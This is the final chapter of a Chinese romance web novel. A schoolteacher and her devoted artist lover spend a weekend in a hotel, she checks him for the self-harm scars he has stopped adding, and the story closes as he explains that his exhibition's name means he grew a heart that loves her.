舒颜默默挖了一大勺,塞进嘴里,冰凉中带着抹茶奶香味,入口即化,不愧是大价钱买来的冰激凌。 “不过真是奇了怪了,感觉学校今年太有钱了,又是装空调又是改善食堂的,请吃冷饮已经很高兴了,还是哈根达斯这样的档次,听说这一盒,可是将近一百块!” 苏日娜斜了她一眼,又看向舒颜:“这么大的心意,可是辜负不得,舒颜你快吃啊,”又靠近舒颜耳朵,“没有你我们哪能吃上~” 舒颜稳如泰山,像是没听到这句话。 徐圆圆耳朵灵,听到了,瞬间明了:“哦!原来是……” 说到这个,徐圆圆就来气,原来传闻中那个财大气粗从楠溪市远道而来“助力”她们学校教育事业的人,是奔着舒颜来的。 她梦中喊的名字,也是他的。 “小颜,你真的挺没意思的!”徐圆圆当时说。 舒颜也是哄了好久,才把徐圆圆哄好,现在说起来,她还是心虚的。 学校里只有领导和徐圆圆苏日娜知道她和岑尽白,他们不会和别人说。还有一个叶尔兰,他不敢和别人说。这样挺好,舒颜想在这里安稳过一段日子,但岑尽白注定是个不安稳的因素。 今天的哈根达斯,太夸张了。 * 周五,岑尽白从楠溪市赶过来,开着车接她下班。 “你吃过绿色心情吗?绿豆味儿的,我小时候最喜欢吃,五毛钱一个,吃一个会开心一整天。”舒颜坐到岑尽白的车上,忽然开口说了这么一句话。 能吃一个绿豆味的雪糕,是舒颜小时候少有的快乐,那时候,她以为妈妈给自己买雪糕,就是爱自己的表现。 “没有。”岑尽白倾身,帮舒颜系安全带,她自然地抬手,方便让他系,系好后,又将她面前的空调方向调转,不能一直对着她吹。 舒颜接着说:“我觉得现在吃一根绿豆雪糕,我也会很开心。” 岑尽白将空调调好合适的温度,她有些体寒,夏天有时候也会手脚冰凉。 做好这一切,岑尽白专心开车。 他回答了舒颜刚刚舒颜的话:“我知道了。” 知道什么? 舒颜只是跟他说说,不然她都不知道说什么了。 车子开出小镇,前往市中心方向,停在一栋酒店大楼前。 岑尽白将安全带的按钮打开,摸了摸舒颜的脸蛋,笑着说:“好了,可以下去了。” 这地方不比楠溪市,没有什么适合约会的地方,岑尽白每次来,呆一晚上会直接去舒颜的宿舍,呆的时间超过一晚上,会带她来酒店。 上次他来,是周二,这次来,是周五。她怀疑他是不是算好的。 看来这个周末,又要重色轻友了。 岑尽白将车钥匙交给酒店的服务员,让他去泊车,揽着舒颜进了酒店。 酒店只能算是四星,岑尽白要了最好的房间,长期租了下来,虽然来住的时间不多。 他们的房间在二十楼,刚进去,舒颜就被他按在门上亲。 他接吻时很凶,尤其重逢后,每次都像是要将她生吞活剥了,咬完上唇咬下唇,舌头扫荡每个齿缝,捧着她的后脑,使劲往他的方向按。 他今天戴了黑色的耳钉,舒颜忍不住上手去摸。 身高差使然,她被他抱起来,边走边吻,托着她的屁。股,将她放在巴台上亲。 亲吻换气的间隙,他会用气音说“我好想你”,然后继续。 他不需要她回想不想他,他知道她不想。 只有他离不开她,几个月间隔不超过七天的往返楠溪市和千里之外的这里,她宁愿呆在这样鸟不拉屎的地方,也不愿意跟在他身边。 吻接了十分钟,舒颜唇都麻了,喊了停。 她坐在吧台上,媚眼如丝地垂眸看着他。 “脱衣服,检查。”这是舒颜每次见到他都必须要做的事情。 岑尽白摸着她的小腿,退开几步,干脆利落地脱了上身的衣服。 只剩下些旧疤,没有新添的疤痕。 舒颜煞有介事地点头,表示可以了。 岑尽白又去脱下面。他知道下面她也是要检查的。 舒颜制止了他:“等一下,吃完饭再说。” 他们还定了餐,等下服务员要来送餐,被撞见不太好。 “先穿上吧。” …… 岑尽白自残有瘾。 自从发生叶尔兰那件事以后,俩人没说什么承诺,但是舒颜默许了岑尽白的到来,并且愿意和他做一些亲密的事情。 默许后他第一次来,没敢放肆,只是抱着她睡了一觉。 第二次来,他试探着取悦她。 第三次来,他试探着脱去她的內。裤 第四次来,他着急地先把自己脱。光了,结果还没开始,舒颜看见了他身上新添的刀痕,问他怎么回事,他不说。 舒颜生气扇了他一巴掌,让他滚出去。 他跪在她床边,说他太想她了,他控制不住自己。 舒颜深深看了他一眼,还是让他爬上了床。 “以后你再这样,我不会打你,你干什么我都不打你,你…我我都不会打你,但是我会在心里厌恶你,把你当作是我的折磨。” 他捂住她的嘴,“不要再说了!” 他喜欢哭,那双眼睛哭起来像洗过的宝石一样,很好看。 “……我再也不会那样做了。” 后来每一次来,舒颜都会让他脱掉衣服检查。 她的话真的奏了效,没再添新疤,旧的疤痕也在愈合了。 饭菜上齐,岑尽白变魔术般不知道从哪里拿出一个绿色心情,放在舒颜手里。 “你想吃的绿色心情。” 舒颜一愣。 “我没说我想吃。” “你不是说吃这个会开心一整天吗?” 她说过吗? 她随口说的。 舒颜还是打开了这根雪糕,绿色的冰糕上面还缀着透明的冰点,刚从冷藏柜里拿出来。 咬了一口,发现和小时候的味道不一样了,但还是好吃的。 没吃完,她还留着肚子吃饭。 “给我吧。”对面的岑尽白说。 舒颜以为他也想尝尝,给了他,她开始吃饭了。 结果他在她没注意的时候,把那根雪糕吃完了。 “……” 吃过饭,岑尽白接到了一个电话,没避着她。 电话那边应该是个外国人,岑尽白与他用英语交流,舒颜听出他们是在说一个画展的事情。 等岑尽白挂断电话,舒颜正直直地看着他。 岑尽白露出一个温柔又带着些坏的笑。 “等不及了吗?” 他起身,走到她这边,将她抱起来,自己坐那,让她坐在自己腿上。 “什么等不及了?” 岑尽白捏了捏他的腰。 他带她来这里的目的就不纯。 但是他怎么能说她等不及了,这不是倒反天罡吗? 又让她与自己面对面坐着,“吃饱了,该办正事了。” 知道正事是什么,舒颜没他坦荡,脸蛋微粉。 …… “颜颜……你说得对……绿色心情,真的……会让人……心情变好……” “不是要检查吗?那你睁开眼,看仔细点啊……” 他咬着她的耳朵。 在这件事情上,舒颜一直秉持着及时行乐,既然舒服,做一下也没事,就是岑尽白太不知道节制,好酒不可贪多,但是他非要溺死在里面。 “颜颜,我真的……不能没有你……” 舒颜的眼神发愣,睫毛湿润,眨一下水汽就会蔓延到眼球上,让她视物有些困难。 这时候,她的听觉是最灵敏的。 听到他说这句话,她也没有多惊讶。 但她必须承认心中的某一处在软化,像是发酵般,尝起来是甜涩的。 …… 在醒来时,天已经黑了。 房间很大,床也很大,舒颜看向旁边,没有人,脑袋转动着,下意识般寻找。 终于在落地窗前的玻璃桌前,看到了坐在那里的岑尽白。 他穿着松松垮垮的白色浴袍,眼睛正看着玻璃桌上的电脑,上面似乎在播放着什么。五彩斑斓的颜色映在他深邃的五官。 舒颜穿上拖鞋,几近无声地走过去。 只是还没到他的视线内,就被一双大手揽住了腰,人就落在岑尽白腿上。 颈窝里有了一个脑袋,那脑袋还想往锁骨下面去。 岑尽白看到她脖子上的红痕,想到什么,呵笑一声,很是愉悦。 舒颜将那只脑袋拽起来:“你在看什么?” “画展,我的画展。”又轻又蛊惑的声音。 舒颜转头看向电脑屏幕,却意外在屏幕上,看到了Zero的脸。 “是Zero!”她惊喜道。 “嗯……” 如果刚刚岑尽白还对那场画展有些认真的话,现在应该全没了,或许转移到其他地方,甚至百分之百投入。 画面里的Zero,正在接受采访。 还是那样阳光的金发大男孩,口吻轻快地用英文介绍:“这次的画展,展出的全是我老师的作品,这些作品的灵感来源,全都是来自于我老师爱的人,并且,这将有可能是我老师最后一场画展……” 最后一场? 舒颜低头看想要埋在她胸口的男人。 高挺的鼻梁,剐蹭着她的锁骨。 那些灵感,来自于她吗? “岑尽白,你以后都不会画画了吗?” 岑尽白抬头,蓝眸里带着细碎的闪光。 舒颜的心跳,滞停了一秒钟。 “会的。” 画画是他,最擅长表达自己的方式。 舒颜心里松了口气。 她又看向电脑屏幕,画面一闪而过那些上色大胆的画,还没来得及欣赏,又停到Zero的脸上。 看展的人问:“画展的名字为什么叫生心?” Zero挠挠头,显得有些为难:“画展的名字是老师定的,我不知道原因。” 有人发出有些遗憾的叹息。 舒颜也好奇:“为什么叫生心?” 岑尽白目光掠过电脑屏幕,定格在她脸上,眸色愈发亮,倒映着她的脸。 几秒后,他扶着她的后腰,又无奈又小心地吻了吻她鬓边的黑发。 他的温度只停留了几秒。 “因为,我生出了一颗爱你的心。” ——正文完